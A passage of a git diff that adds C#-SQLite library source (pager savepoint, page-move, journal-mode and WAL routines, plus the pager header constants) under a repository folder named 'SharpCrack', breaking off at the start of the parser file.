*/ + static int sqlite3PagerSavepoint( Pager pPager, int op, int iSavepoint ) + { + int rc = pPager.errCode; /* Return code */ + + Debug.Assert( op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK ); + Debug.Assert( iSavepoint >= 0 || op == SAVEPOINT_ROLLBACK ); + + if ( rc == SQLITE_OK && iSavepoint < pPager.nSavepoint ) + { + int ii; /* Iterator variable */ + int nNew; /* Number of remaining savepoints after this op. */ + + /* Figure out how many savepoints will still be active after this + ** operation. Store this value in nNew. Then free resources associated + ** with any savepoints that are destroyed by this operation. + */ + nNew = iSavepoint + ( ( op == SAVEPOINT_RELEASE ) ? 0 : 1 ); + for ( ii = nNew; ii < pPager.nSavepoint; ii++ ) + { + sqlite3BitvecDestroy( ref pPager.aSavepoint[ii].pInSavepoint ); + } + pPager.nSavepoint = nNew; + + /* If this is a release of the outermost savepoint, truncate + ** the sub-journal to zero bytes in size. */ + if ( op == SAVEPOINT_RELEASE ) + { + if ( nNew == 0 && isOpen( pPager.sjfd ) ) + { + /* Only truncate if it is an in-memory sub-journal. */ + if ( sqlite3IsMemJournal( pPager.sjfd ) ) + { + rc = sqlite3OsTruncate( pPager.sjfd, 0 ); + Debug.Assert( rc == SQLITE_OK ); + } + pPager.nSubRec = 0; + } + } + /* Else this is a rollback operation, playback the specified savepoint. + ** If this is a temp-file, it is possible that the journal file has + ** not yet been opened. In this case there have been no changes to + ** the database file, so the playback operation can be skipped. + */ + else if ( pagerUseWal( pPager ) || isOpen( pPager.jfd ) ) + { + PagerSavepoint pSavepoint = ( nNew == 0 ) ? null : pPager.aSavepoint[nNew - 1]; + rc = pagerPlaybackSavepoint( pPager, pSavepoint ); + Debug.Assert( rc != SQLITE_DONE ); + } + } + return rc; + } + + /* + ** Return the full pathname of the database file. + */ + static string sqlite3PagerFilename( Pager pPager ) + { + return pPager.zFilename; + } + + /* + ** Return the VFS structure for the pager. + */ + static sqlite3_vfs sqlite3PagerVfs( Pager pPager ) + { + return pPager.pVfs; + } + + /* + ** Return the file handle for the database file associated + ** with the pager. This might return NULL if the file has + ** not yet been opened. + */ + static sqlite3_file sqlite3PagerFile( Pager pPager ) + { + return pPager.fd; + } + + /* + ** Return the full pathname of the journal file. + */ + static string sqlite3PagerJournalname( Pager pPager ) + { + return pPager.zJournal; + } + + /* + ** Return true if fsync() calls are disabled for this pager. Return FALSE + ** if fsync()s are executed normally. + */ + static bool sqlite3PagerNosync( Pager pPager ) + { + return pPager.noSync; + } + +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + /* +** Set or retrieve the codec for this pager +*/ + static void sqlite3PagerSetCodec( + Pager pPager, + dxCodec xCodec, //void *(*xCodec)(void*,void*,Pgno,int), + dxCodecSizeChng xCodecSizeChng, //void (*xCodecSizeChng)(void*,int,int), + dxCodecFree xCodecFree, //void (*xCodecFree)(void*), + codec_ctx pCodec + ) + { + if ( pPager.xCodecFree != null ) + pPager.xCodecFree( ref pPager.pCodec ); + pPager.xCodec = ( pPager.memDb != 0 ) ? null : xCodec; + pPager.xCodecSizeChng = xCodecSizeChng; + pPager.xCodecFree = xCodecFree; + pPager.pCodec = pCodec; + pagerReportSize( pPager ); + } + + static object sqlite3PagerGetCodec( Pager pPager ) + { + return pPager.pCodec; + } +#endif + +#if !SQLITE_OMIT_AUTOVACUUM + /* +** Move the page pPg to location pgno in the file. +** +** There must be no references to the page previously located at +** pgno (which we call pPgOld) though that page is allowed to be +** in cache. If the page previously located at pgno is not already +** in the rollback journal, it is not put there by by this routine. +** +** References to the page pPg remain valid. Updating any +** meta-data associated with pPg (i.e. data stored in the nExtra bytes +** allocated along with the page) is the responsibility of the caller. +** +** A transaction must be active when this routine is called. It used to be +** required that a statement transaction was not active, but this restriction +** has been removed (CREATE INDEX needs to move a page when a statement +** transaction is active). +** +** If the fourth argument, isCommit, is non-zero, then this page is being +** moved as part of a database reorganization just before the transaction +** is being committed. In this case, it is guaranteed that the database page +** pPg refers to will not be written to again within this transaction. +** +** This function may return SQLITE_NOMEM or an IO error code if an error +** occurs. Otherwise, it returns SQLITE_OK. +*/ + static int sqlite3PagerMovepage( Pager pPager, DbPage pPg, u32 pgno, int isCommit ) + { + PgHdr pPgOld; /* The page being overwritten. */ + u32 needSyncPgno = 0; /* Old value of pPg.pgno, if sync is required */ + int rc; /* Return code */ + Pgno origPgno; /* The original page number */ + + Debug.Assert( pPg.nRef > 0 ); + Debug.Assert( pPager.eState == PAGER_WRITER_CACHEMOD + || pPager.eState == PAGER_WRITER_DBMOD + ); + Debug.Assert( assert_pager_state( pPager ) ); + + /* In order to be able to rollback, an in-memory database must journal + ** the page we are moving from. + */ + if ( +#if SQLITE_OMIT_MEMORYDB +1==MEMDB +#else + pPager.memDb != 0 +#endif + ) + { + rc = sqlite3PagerWrite( pPg ); + if ( rc != 0 ) + return rc; + } + + /* If the page being moved is dirty and has not been saved by the latest + ** savepoint, then save the current contents of the page into the + ** sub-journal now. This is required to handle the following scenario: + ** + ** BEGIN; + ** + ** SAVEPOINT one; + ** + ** ROLLBACK TO one; + ** + ** If page X were not written to the sub-journal here, it would not + ** be possible to restore its contents when the "ROLLBACK TO one" + ** statement were is processed. + ** + ** subjournalPage() may need to allocate space to store pPg.pgno into + ** one or more savepoint bitvecs. This is the reason this function + ** may return SQLITE_NOMEM. + */ + if ( ( pPg.flags & PGHDR_DIRTY ) != 0 + && subjRequiresPage( pPg ) + && SQLITE_OK != ( rc = subjournalPage( pPg ) ) + ) + { + return rc; + } + + PAGERTRACE( "MOVE %d page %d (needSync=%d) moves to %d\n", + PAGERID( pPager ), pPg.pgno, ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ? 1 : 0, pgno ); + IOTRACE( "MOVE %p %d %d\n", pPager, pPg.pgno, pgno ); + + /* If the journal needs to be sync()ed before page pPg.pgno can + ** be written to, store pPg.pgno in local variable needSyncPgno. + ** + ** If the isCommit flag is set, there is no need to remember that + ** the journal needs to be sync()ed before database page pPg.pgno + ** can be written to. The caller has already promised not to write to it. + */ + if ( ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ) && 0 == isCommit ) + { + needSyncPgno = pPg.pgno; + Debug.Assert( pageInJournal( pPg ) || pPg.pgno > pPager.dbOrigSize ); + Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 ); + } + + /* If the cache contains a page with page-number pgno, remove it + ** from its hash chain. Also, if the PGHDR_NEED_SYNC was set for + ** page pgno before the 'move' operation, it needs to be retained + ** for the page moved there. + */ + pPg.flags &= ~PGHDR_NEED_SYNC; + pPgOld = pager_lookup( pPager, pgno ); + Debug.Assert( null == pPgOld || pPgOld.nRef == 1 ); + if ( pPgOld != null ) + { + pPg.flags |= ( pPgOld.flags & PGHDR_NEED_SYNC ); + if ( +#if SQLITE_OMIT_MEMORYDB +1==MEMDB +#else + pPager.memDb != 0 +#endif + ) + { + /* Do not discard pages from an in-memory database since we might + ** need to rollback later. Just move the page out of the way. */ + sqlite3PcacheMove( pPgOld, pPager.dbSize + 1 ); + } + else + { + sqlite3PcacheDrop( pPgOld ); + } + } + origPgno = pPg.pgno; + sqlite3PcacheMove( pPg, pgno ); + sqlite3PcacheMakeDirty( pPg ); + + /* For an in-memory database, make sure the original page continues + ** to exist, in case the transaction needs to roll back. Use pPgOld + ** as the original page since it has already been allocated. + */ + if ( +#if SQLITE_OMIT_MEMORYDB +0!=MEMDB +#else + 0 != pPager.memDb +#endif + ) + { + Debug.Assert( pPgOld ); + sqlite3PcacheMove( pPgOld, origPgno ); + sqlite3PagerUnref( pPgOld ); + } + + if ( needSyncPgno != 0 ) + { + /* If needSyncPgno is non-zero, then the journal file needs to be + ** sync()ed before any data is written to database file page needSyncPgno. + ** Currently, no such page exists in the page-cache and the + ** "is journaled" bitvec flag has been set. This needs to be remedied by + ** loading the page into the pager-cache and setting the PGHDR_NEED_SYNC + ** flag. + ** + ** If the attempt to load the page into the page-cache fails, (due + ** to a malloc() or IO failure), clear the bit in the pInJournal[] + ** array. Otherwise, if the page is loaded and written again in + ** this transaction, it may be written to the database file before + ** it is synced into the journal file. This way, it may end up in + ** the journal file twice, but that is not a problem. + */ + PgHdr pPgHdr = null; + rc = sqlite3PagerGet( pPager, needSyncPgno, ref pPgHdr ); + if ( rc != SQLITE_OK ) + { + if ( needSyncPgno <= pPager.dbOrigSize ) + { + Debug.Assert( pPager.pTmpSpace != null ); + u32[] pTemp = new u32[pPager.pTmpSpace.Length]; + sqlite3BitvecClear( pPager.pInJournal, needSyncPgno, pTemp );//pPager.pTmpSpace ); + } + return rc; + } + pPgHdr.flags |= PGHDR_NEED_SYNC; + sqlite3PcacheMakeDirty( pPgHdr ); + sqlite3PagerUnref( pPgHdr ); + } + return SQLITE_OK; + } +#endif + + /* +** Return a pointer to the data for the specified page. +*/ + static byte[] sqlite3PagerGetData( DbPage pPg ) + { + Debug.Assert( pPg.nRef > 0 || pPg.pPager.memDb != 0 ); + return pPg.pData; + } + + /* + ** Return a pointer to the Pager.nExtra bytes of "extra" space + ** allocated along with the specified page. + */ + static MemPage sqlite3PagerGetExtra( DbPage pPg ) + { + return pPg.pExtra; + } + + /* + ** Get/set the locking-mode for this pager. Parameter eMode must be one + ** of PAGER_LOCKINGMODE_QUERY, PAGER_LOCKINGMODE_NORMAL or + ** PAGER_LOCKINGMODE_EXCLUSIVE. If the parameter is not _QUERY, then + ** the locking-mode is set to the value specified. + ** + ** The returned value is either PAGER_LOCKINGMODE_NORMAL or + ** PAGER_LOCKINGMODE_EXCLUSIVE, indicating the current (possibly updated) + ** locking-mode. + */ + static bool sqlite3PagerLockingMode( Pager pPager, int eMode ) + { + Debug.Assert( eMode == PAGER_LOCKINGMODE_QUERY + || eMode == PAGER_LOCKINGMODE_NORMAL + || eMode == PAGER_LOCKINGMODE_EXCLUSIVE ); + Debug.Assert( PAGER_LOCKINGMODE_QUERY < 0 ); + Debug.Assert( PAGER_LOCKINGMODE_NORMAL >= 0 && PAGER_LOCKINGMODE_EXCLUSIVE >= 0 ); + Debug.Assert( pPager.exclusiveMode || false == sqlite3WalHeapMemory( pPager.pWal ) ); + if ( eMode >= 0 && !pPager.tempFile && !sqlite3WalHeapMemory( pPager.pWal ) ) + { + pPager.exclusiveMode = eMode != 0; + } + return pPager.exclusiveMode; + } + + /* + ** Set the journal-mode for this pager. Parameter eMode must be one of: + ** + ** PAGER_JOURNALMODE_DELETE + ** PAGER_JOURNALMODE_TRUNCATE + ** PAGER_JOURNALMODE_PERSIST + ** PAGER_JOURNALMODE_OFF + ** PAGER_JOURNALMODE_MEMORY + ** PAGER_JOURNALMODE_WAL + ** + ** The journalmode is set to the value specified if the change is allowed. + ** The change may be disallowed for the following reasons: + ** + ** * An in-memory database can only have its journal_mode set to _OFF + ** or _MEMORY. + ** + ** * Temporary databases cannot have _WAL journalmode. + ** + ** The returned indicate the current (possibly updated) journal-mode. + */ + static int sqlite3PagerSetJournalMode( Pager pPager, int eMode ) + { + u8 eOld = pPager.journalMode; /* Prior journalmode */ + +#if SQLITE_DEBUG + /* The print_pager_state() routine is intended to be used by the debugger +** only. We invoke it once here to suppress a compiler warning. */ + print_pager_state( pPager ); +#endif + + /* The eMode parameter is always valid */ + Debug.Assert( eMode == PAGER_JOURNALMODE_DELETE + || eMode == PAGER_JOURNALMODE_TRUNCATE + || eMode == PAGER_JOURNALMODE_PERSIST + || eMode == PAGER_JOURNALMODE_OFF + || eMode == PAGER_JOURNALMODE_WAL + || eMode == PAGER_JOURNALMODE_MEMORY ); + + /* This routine is only called from the OP_JournalMode opcode, and + ** the logic there will never allow a temporary file to be changed + ** to WAL mode. + */ + Debug.Assert( pPager.tempFile == false || eMode != PAGER_JOURNALMODE_WAL ); + + /* Do allow the journalmode of an in-memory database to be set to + ** anything other than MEMORY or OFF + */ + if ( +#if SQLITE_OMIT_MEMORYDB +1==MEMDB +#else + 1 == pPager.memDb +#endif + ) + { + Debug.Assert( eOld == PAGER_JOURNALMODE_MEMORY || eOld == PAGER_JOURNALMODE_OFF ); + if ( eMode != PAGER_JOURNALMODE_MEMORY && eMode != PAGER_JOURNALMODE_OFF ) + { + eMode = eOld; + } + } + + if ( eMode != eOld ) + { + /* Change the journal mode. */ + Debug.Assert( pPager.eState != PAGER_ERROR ); + pPager.journalMode = (u8)eMode; + + /* When transistioning from TRUNCATE or PERSIST to any other journal + ** mode except WAL, unless the pager is in locking_mode=exclusive mode, + ** delete the journal file. + */ + Debug.Assert( ( PAGER_JOURNALMODE_TRUNCATE & 5 ) == 1 ); + Debug.Assert( ( PAGER_JOURNALMODE_PERSIST & 5 ) == 1 ); + Debug.Assert( ( PAGER_JOURNALMODE_DELETE & 5 ) == 0 ); + Debug.Assert( ( PAGER_JOURNALMODE_MEMORY & 5 ) == 4 ); + Debug.Assert( ( PAGER_JOURNALMODE_OFF & 5 ) == 0 ); + Debug.Assert( ( PAGER_JOURNALMODE_WAL & 5 ) == 5 ); + + Debug.Assert( isOpen( pPager.fd ) || pPager.exclusiveMode ); + if ( !pPager.exclusiveMode && ( eOld & 5 ) == 1 && ( eMode & 1 ) == 0 ) + { + + /* In this case we would like to delete the journal file. If it is + ** not possible, then that is not a problem. Deleting the journal file + ** here is an optimization only. + ** + ** Before deleting the journal file, obtain a RESERVED lock on the + ** database file. This ensures that the journal file is not deleted + ** while it is in use by some other client. + */ + sqlite3OsClose( pPager.jfd ); + if ( pPager.eLock >= RESERVED_LOCK ) + { + sqlite3OsDelete( pPager.pVfs, pPager.zJournal, 0 ); + } + else + { + int rc = SQLITE_OK; + int state = pPager.eState; + Debug.Assert( state == PAGER_OPEN || state == PAGER_READER ); + if ( state == PAGER_OPEN ) + { + rc = sqlite3PagerSharedLock( pPager ); + } + if ( pPager.eState == PAGER_READER ) + { + Debug.Assert( rc == SQLITE_OK ); + rc = pagerLockDb( pPager, RESERVED_LOCK ); + } + if ( rc == SQLITE_OK ) + { + sqlite3OsDelete( pPager.pVfs, pPager.zJournal, 0 ); + } + if ( rc == SQLITE_OK && state == PAGER_READER ) + { + pagerUnlockDb( pPager, SHARED_LOCK ); + } + else if ( state == PAGER_OPEN ) + { + pager_unlock( pPager ); + } + Debug.Assert( state == pPager.eState ); + } + } + } + + /* Return the new journal mode */ + return (int)pPager.journalMode; + } + + /* + ** Return the current journal mode. + */ + static int sqlite3PagerGetJournalMode( Pager pPager ) + { + return (int)pPager.journalMode; + } + + /* + ** Return TRUE if the pager is in a state where it is OK to change the + ** journalmode. Journalmode changes can only happen when the database + ** is unmodified. + */ + static int sqlite3PagerOkToChangeJournalMode( Pager pPager ) + { + Debug.Assert( assert_pager_state( pPager ) ); + if ( pPager.eState >= PAGER_WRITER_CACHEMOD ) + return 0; + if ( NEVER( isOpen( pPager.jfd ) && pPager.journalOff > 0 ) ) + return 0; + return 1; + } + + + /* + ** Get/set the size-limit used for persistent journal files. + ** + ** Setting the size limit to -1 means no limit is enforced. + ** An attempt to set a limit smaller than -1 is a no-op. + */ + static i64 sqlite3PagerJournalSizeLimit( Pager pPager, i64 iLimit ) + { + if ( iLimit >= -1 ) + { + pPager.journalSizeLimit = iLimit; + sqlite3WalLimit( pPager.pWal, iLimit ); + } + return pPager.journalSizeLimit; + } + + /* + ** Return a pointer to the pPager.pBackup variable. The backup module + ** in backup.c maintains the content of this variable. This module + ** uses it opaquely as an argument to sqlite3BackupRestart() and + ** sqlite3BackupUpdate() only. + */ + static sqlite3_backup sqlite3PagerBackupPtr( Pager pPager ) + { + return pPager.pBackup; + } + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +/* +** This function is called when the user invokes "PRAGMA wal_checkpoint", +** "PRAGMA wal_blocking_checkpoint" or calls the sqlite3_wal_checkpoint() +** or wal_blocking_checkpoint() API functions. +** +** Parameter eMode is one of SQLITE_CHECKPOINT_PASSIVE, FULL or RESTART. +*/ +int sqlite3PagerCheckpoint(Pager *pPager, int eMode, int *pnLog, int *pnCkpt){ + int rc = SQLITE_OK; + if( pPager.pWal ){ + rc = sqlite3WalCheckpoint(pPager.pWal, eMode, + pPager.xBusyHandler, pPager.pBusyHandlerArg, + pPager.ckptSyncFlags, pPager.pageSize, (u8 *)pPager.pTmpSpace, + pnLog, pnCkpt + ); + } + return rc; +} + + int sqlite3PagerWalCallback(Pager *pPager){ +return sqlite3WalCallback(pPager.pWal); +} + +/* +** Return true if the underlying VFS for the given pager supports the +** primitives necessary for write-ahead logging. +*/ +int sqlite3PagerWalSupported(Pager *pPager){ +const sqlite3_io_methods *pMethods = pPager.fd->pMethods; +return pPager.exclusiveMode || (pMethods->iVersion>=2 && pMethods->xShmMap); +} + +/* +** Attempt to take an exclusive lock on the database file. If a PENDING lock +** is obtained instead, immediately release it. +*/ +static int pagerExclusiveLock(Pager *pPager){ +int rc; /* Return code */ + +assert( pPager.eLock==SHARED_LOCK || pPager.eLock==EXCLUSIVE_LOCK ); +rc = pagerLockDb(pPager, EXCLUSIVE_LOCK); +if( rc!=SQLITE_OK ){ +/* If the attempt to grab the exclusive lock failed, release the +** pending lock that may have been obtained instead. */ +pagerUnlockDb(pPager, SHARED_LOCK); +} + +return rc; +} + +/* +** Call sqlite3WalOpen() to open the WAL handle. If the pager is in +** exclusive-locking mode when this function is called, take an EXCLUSIVE +** lock on the database file and use heap-memory to store the wal-index +** in. Otherwise, use the normal shared-memory. +*/ +static int pagerOpenWal(Pager *pPager){ +int rc = SQLITE_OK; + +assert( pPager.pWal==0 && pPager.tempFile==0 ); +assert( pPager.eLock==SHARED_LOCK || pPager.eLock==EXCLUSIVE_LOCK || pPager.noReadlock); + +/* If the pager is already in exclusive-mode, the WAL module will use +** heap-memory for the wal-index instead of the VFS shared-memory +** implementation. Take the exclusive lock now, before opening the WAL +** file, to make sure this is safe. +*/ +if( pPager.exclusiveMode ){ +rc = pagerExclusiveLock(pPager); +} + +/* Open the connection to the log file. If this operation fails, +** (e.g. due to malloc() failure), return an error code. +*/ +if( rc==SQLITE_OK ){ +rc = sqlite3WalOpen(pPager.pVfs, +pPager.fd, pPager.zWal, pPager.exclusiveMode, &pPager.pWal + pPager.journalSizeLimit, &pPager.pWal +); +} + +return rc; +} + + +/* +** The caller must be holding a SHARED lock on the database file to call +** this function. +** +** If the pager passed as the first argument is open on a real database +** file (not a temp file or an in-memory database), and the WAL file +** is not already open, make an attempt to open it now. If successful, +** return SQLITE_OK. If an error occurs or the VFS used by the pager does +** not support the xShmXXX() methods, return an error code. *pbOpen is +** not modified in either case. +** +** If the pager is open on a temp-file (or in-memory database), or if +** the WAL file is already open, set *pbOpen to 1 and return SQLITE_OK +** without doing anything. +*/ +int sqlite3PagerOpenWal( +Pager *pPager, /* Pager object */ +int *pbOpen /* OUT: Set to true if call is a no-op */ +){ +int rc = SQLITE_OK; /* Return code */ + +assert( assert_pager_state(pPager) ); +assert( pPager.eState==PAGER_OPEN || pbOpen ); +assert( pPager.eState==PAGER_READER || !pbOpen ); +assert( pbOpen==0 || *pbOpen==0 ); +assert( pbOpen!=0 || (!pPager.tempFile && !pPager.pWal) ); + +if( !pPager.tempFile && !pPager.pWal ){ +if( !sqlite3PagerWalSupported(pPager) ) return SQLITE_CANTOPEN; + +/* Close any rollback journal previously open */ +sqlite3OsClose(pPager.jfd); + +rc = pagerOpenWal(pPager); +if( rc==SQLITE_OK ){ +pPager.journalMode = PAGER_JOURNALMODE_WAL; +pPager.eState = PAGER_OPEN; +} +}else{ +*pbOpen = 1; +} + +return rc; +} + +/* +** This function is called to close the connection to the log file prior +** to switching from WAL to rollback mode. +** +** Before closing the log file, this function attempts to take an +** EXCLUSIVE lock on the database file. If this cannot be obtained, an +** error (SQLITE_BUSY) is returned and the log connection is not closed. +** If successful, the EXCLUSIVE lock is not released before returning. +*/ +int sqlite3PagerCloseWal(Pager *pPager){ +int rc = SQLITE_OK; + +assert( pPager.journalMode==PAGER_JOURNALMODE_WAL ); + +/* If the log file is not already open, but does exist in the file-system, +** it may need to be checkpointed before the connection can switch to +** rollback mode. Open it now so this can happen. +*/ +if( !pPager.pWal ){ +int logexists = 0; +rc = pagerLockDb(pPager, SHARED_LOCK); +if( rc==SQLITE_OK ){ +rc = sqlite3OsAccess( +pPager.pVfs, pPager.zWal, SQLITE_ACCESS_EXISTS, &logexists +); +} +if( rc==SQLITE_OK && logexists ){ +rc = pagerOpenWal(pPager); +} +} + +/* Checkpoint and close the log. Because an EXCLUSIVE lock is held on +** the database file, the log and log-summary files will be deleted. +*/ +if( rc==SQLITE_OK && pPager.pWal ){ +rc = pagerExclusiveLock(pPager); +if( rc==SQLITE_OK ){ +rc = sqlite3WalClose(pPager.pWal, pPager.ckptSyncFlags, + pPager.pageSize, (u8*)pPager.pTmpSpace); +pPager.pWal = 0; +} +} +return rc; +} + +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC +/* +** This function is called by the wal module when writing page content +** into the log file. +** +** This function returns a pointer to a buffer containing the encrypted +** page content. If a malloc fails, this function may return NULL. +*/ +void sqlite3PagerCodec(PgHdr *pPg){ +voidaData = 0; +CODEC2(pPg->pPager, pPg->pData, pPg->pgno, 6, return 0, aData); +return aData; +} +#endif //* SQLITE_HAS_CODEC */ + +#endif //* !SQLITE_OMIT_WAL */ + +#endif // * SQLITE_OMIT_DISKIO */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pager_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pager_h.cs new file mode 100644 index 0000000..be85989 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pager_h.cs @@ -0,0 +1,208 @@ +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the interface that the sqlite page cache + ** subsystem. The page cache subsystem reads and writes a file a page + ** at a time and provides a journal for rollback. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e + ** + ************************************************************************* + */ + //#if !_PAGER_H_ + //#define _PAGER_H_ + + /* + ** Default maximum size for persistent journal files. A negative + ** value means no limit. This value may be overridden using the + ** sqlite3PagerJournalSizeLimit() API. See also "PRAGMA journal_size_limit". + */ +#if !SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT + const int SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT = -1;//#define SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT -1 +#endif + + /* +** The type used to represent a page number. The first page in a file +** is called page 1. 0 is used to represent "not a page". +*/ + //typedef u32 Pgno; + + /* + ** Each open file is managed by a separate instance of the "Pager" structure. + */ + //typedef struct Pager Pager; + + /* + ** Handle type for pages. + */ + //typedef struct PgHdr DbPage; + + /* + ** Page number PAGER_MJ_PGNO is never used in an SQLite database (it is + ** reserved for working around a windows/posix incompatibility). It is + ** used in the journal to signify that the remainder of the journal file + ** is devoted to storing a master journal name - there are no more pages to + ** roll back. See comments for function writeMasterJournal() in pager.c + ** for details. + */ + //#define PAGER_MJ_PGNO(x) ((Pgno)((PENDING_BYTE/((x)->pageSize))+1)) + static Pgno PAGER_MJ_PGNO( Pager x ) + { + return ( (Pgno)( ( PENDING_BYTE / ( ( x ).pageSize ) ) + 1 ) ); + } + /* + ** Allowed values for the flags parameter to sqlite3PagerOpen(). + ** + ** NOTE: These values must match the corresponding BTREE_ values in btree.h. + */ + //#define PAGER_OMIT_JOURNAL 0x0001 /* Do not use a rollback journal */ + //#define PAGER_NO_READLOCK 0x0002 /* Omit readlocks on readonly files */ + //#define PAGER_MEMORY 0x0004 /* In-memory database */ + const int PAGER_OMIT_JOURNAL = 0x0001; + const int PAGER_NO_READLOCK = 0x0002; + const int PAGER_MEMORY = 0x0004; + + /* + ** Valid values for the second argument to sqlite3PagerLockingMode(). + */ + //#define PAGER_LOCKINGMODE_QUERY -1 + //#define PAGER_LOCKINGMODE_NORMAL 0 + //#define PAGER_LOCKINGMODE_EXCLUSIVE 1 + static int PAGER_LOCKINGMODE_QUERY = -1; + static int PAGER_LOCKINGMODE_NORMAL = 0; + static int PAGER_LOCKINGMODE_EXCLUSIVE = 1; + + /* + ** Numeric constants that encode the journalmode. + */ + //#define PAGER_JOURNALMODE_QUERY (-1) /* Query the value of journalmode */ + //#define PAGER_JOURNALMODE_DELETE 0 /* Commit by deleting journal file */ + //#define PAGER_JOURNALMODE_PERSIST 1 /* Commit by zeroing journal header */ + //#define PAGER_JOURNALMODE_OFF 2 /* Journal omitted. */ + //#define PAGER_JOURNALMODE_TRUNCATE 3 /* Commit by truncating journal */ + //#define PAGER_JOURNALMODE_MEMORY 4 /* In-memory journal file */ + //#define PAGER_JOURNALMODE_WAL 5 /* Use write-ahead logging */ + const int PAGER_JOURNALMODE_QUERY = -1; + const int PAGER_JOURNALMODE_DELETE = 0; + const int PAGER_JOURNALMODE_PERSIST = 1; + const int PAGER_JOURNALMODE_OFF = 2; + const int PAGER_JOURNALMODE_TRUNCATE = 3; + const int PAGER_JOURNALMODE_MEMORY = 4; + const int PAGER_JOURNALMODE_WAL = 5; + + /* + ** The remainder of this file contains the declarations of the functions + ** that make up the Pager sub-system API. See source code comments for + ** a detailed description of each routine. + */ + /* Open and close a Pager connection. */ + //int sqlite3PagerOpen( + // sqlite3_vfs*, + // Pager **ppPager, + // const char*, + // int, + // int, + // int, + //// void()(DbPage) + //); + //int sqlite3PagerClose(Pager *pPager); + //int sqlite3PagerReadFileheader(Pager*, int, unsigned char); + + /* Functions used to configure a Pager object. */ + //void sqlite3PagerSetBusyhandler(Pager*, int()(void ), object ); + //int sqlite3PagerSetPagesize(Pager*, u32*, int); + //int sqlite3PagerMaxPageCount(Pager*, int); + //void sqlite3PagerSetCachesize(Pager*, int); + //void sqlite3PagerSetSafetyLevel(Pager*,int,int,int); + //int sqlite3PagerLockingMode(Pager *, int); + //int sqlite3PagerSetJournalMode(Pager *, int); + //int sqlite3PagerGetJournalMode(Pager); + //int sqlite3PagerOkToChangeJournalMode(Pager); + //i64 sqlite3PagerJournalSizeLimit(Pager *, i64); + //sqlite3_backup **sqlite3PagerBackupPtr(Pager); + + /* Functions used to obtain and release page references. */ + //int sqlite3PagerAcquire(Pager *pPager, Pgno pgno, DbPage **ppPage, int clrFlag); + //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) + //DbPage *sqlite3PagerLookup(Pager *pPager, Pgno pgno); + //void sqlite3PagerRef(DbPage); + //void sqlite3PagerUnref(DbPage); + + /* Operations on page references. */ + //int sqlite3PagerWrite(DbPage); + //void sqlite3PagerDontWrite(DbPage); + //int sqlite3PagerMovepage(Pager*,DbPage*,Pgno,int); + //int sqlite3PagerPageRefcount(DbPage); + //void *sqlite3PagerGetData(DbPage ); + //void *sqlite3PagerGetExtra(DbPage ); + + /* Functions used to manage pager transactions and savepoints. */ + //void sqlite3PagerPagecount(Pager*, int); + //int sqlite3PagerBegin(Pager*, int exFlag, int); + //int sqlite3PagerCommitPhaseOne(Pager*,string zMaster, int); + //int sqlite3PagerExclusiveLock(Pager); + //int sqlite3PagerSync(Pager *pPager); + //int sqlite3PagerCommitPhaseTwo(Pager); + //int sqlite3PagerRollback(Pager); + //int sqlite3PagerOpenSavepoint(Pager *pPager, int n); + //int sqlite3PagerSavepoint(Pager *pPager, int op, int iSavepoint); + //int sqlite3PagerSharedLock(Pager *pPager); + + //int sqlite3PagerCheckpoint(Pager *pPager, int, int*, int); + //int sqlite3PagerWalSupported(Pager* pPager); + //int sqlite3PagerWalCallback(Pager* pPager); + //int sqlite3PagerOpenWal(Pager* pPager, int* pisOpen); + //int sqlite3PagerCloseWal(Pager* pPager); + + /* Functions used to query pager state and configuration. */ + //u8 sqlite3PagerIsreadonly(Pager); + //int sqlite3PagerRefcount(Pager); + //int sqlite3PagerMemUsed(Pager); + //string sqlite3PagerFilename(Pager); + //const sqlite3_vfs *sqlite3PagerVfs(Pager); + //sqlite3_file *sqlite3PagerFile(Pager); + //string sqlite3PagerJournalname(Pager); + //int sqlite3PagerNosync(Pager); + //void *sqlite3PagerTempSpace(Pager); + //int sqlite3PagerIsMemdb(Pager); + + /* Functions used to truncate the database file. */ + //void sqlite3PagerTruncateImage(Pager*,Pgno); + + //#if (SQLITE_HAS_CODEC) && !defined(SQLITE_OMIT_WAL) + //void *sqlite3PagerCodec(DbPage ); + //#endif + + /* Functions to support testing and debugging. */ + //#if !NDEBUG || SQLITE_TEST + // Pgno sqlite3PagerPagenumber(DbPage); + // int sqlite3PagerIswriteable(DbPage); + //#endif + //#if SQLITE_TEST + // int *sqlite3PagerStats(Pager); + // void sqlite3PagerRefdump(Pager); + // void disable_simulated_io_errors(void); + // void enable_simulated_io_errors(void); + //#else + //# define disable_simulated_io_errors() + //# define enable_simulated_io_errors() + //#endif + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/parse_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/parse_c.cs new file mode 100644 index 0000000..e958614 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/parse_c.cs @@ -0,0 +1,4360 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Text; + +using u8 = System.Byte; + + +using YYCODETYPE = System.Int32; +using YYACTIONTYPE = System.Int32; + +namespace Community.CsharpSqlite +{ + using 